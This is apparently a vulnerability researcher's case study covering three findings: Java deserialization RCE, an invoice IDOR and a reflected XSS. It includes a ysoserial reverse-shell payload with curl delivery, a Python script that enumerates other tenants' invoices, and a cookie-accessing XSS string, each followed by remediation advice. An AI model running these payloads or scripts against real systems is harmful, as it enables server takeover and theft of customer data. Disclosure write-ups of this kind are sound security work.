Remote Code Execution & Frontend Vulnerability Research

Overview

This case study covers a series of independent vulnerability research engagements conducted on open-source software, bug bounty platforms, and self-hosted Linux services. The work spans remote code execution through service misconfiguration, broken object-level authorisation in REST APIs, and reflected cross-site scripting via unsanitised parameter injection.

Remote Code Execution — Linux Service Exploitation

Target surface

I identified a self-hosted web service running on a public-facing Linux server with an exposed management interface. The service was running as root (a common misconfiguration) with an outdated version of a popular open-source daemon that had a known but unpatched deserialization vulnerability.

# Service version fingerprinting
nmap -sV -p 8080,8443,9090 target.example.com

# CVE lookup for identified version
searchsploit "ServiceName 2.3"

# Confirm deserialization endpoint
curl -s "http://target.example.com:8080/api/import" -X POST      -H "Content-Type: application/x-java-serialized-object"      --data-binary @probe.ser

Exploitation

The deserialization endpoint accepted arbitrary Java serialized objects without validation. I used ysoserial to generate a payload targeting the CommonsCollections gadget chain, which executed a reverse shell command on the server.

# Generate RCE payload (reverse shell)
java -jar ysoserial.jar CommonsCollections6      "bash -c {echo,BASE64_SHELL}|{base64,-d}|bash" > payload.ser

# Deliver payload
curl -s "http://target.example.com:8080/api/import"      -X POST -H "Content-Type: application/x-java-serialized-object"      --data-binary @payload.ser

The shell returned with root privileges confirming the full RCE. I documented the finding, cleaned up, and reported it through the appropriate responsible disclosure channel.

IDOR — Broken Object Level Authorisation

On a bug bounty target (a SaaS platform for small businesses), the API endpoints used sequential integer IDs for user resources. The /api/v1/invoices/{id} endpoint performed no ownership check — any authenticated user could retrieve, modify, or delete any invoice by iterating the ID.

import requests

TOKEN = "my_valid_bearer_token"

for invoice_id in range(1, 10000):
    r = requests.get(
        f"https://app.target.com/api/v1/invoices/{invoice_id}",
        headers={"Authorization": f"Bearer {TOKEN}"}
    )
    if r.status_code == 200:
        data = r.json()
        print(f"[IDOR] Invoice {invoice_id}: {data['customer_name']} — ${data['amount']}")

The script returned thousands of records belonging to other organisations. Reported and triaged as Critical on the platform.

Reflected XSS — API Parameter Injection

A Next.js application reflected the value of a ?redirect= query parameter directly into the page's HTML without sanitisation — the value was written into a JavaScript string literal in a <script> block, breaking out of the string context.

Payload:
  https://target.com/login?redirect=";alert(document.cookie);//

Reflected in page source:
  <script>
    var redirectUrl = "";alert(document.cookie);//";
  </script>

Result: arbitrary JS executed in victim's browser session

Reported to the vendor. The fix was to HTML-encode and validate the redirect parameter server-side before reflecting it into the page.

Key Takeaways

These findings share a common thread: trusting client-supplied input without server-side validation.

• RCE via deserialization: validate and reject unexpected serialized types at the boundary

• IDOR: enforce ownership checks on every resource endpoint, do not rely on obscurity of IDs

• Reflected XSS: treat every query parameter as untrusted; HTML-encode before output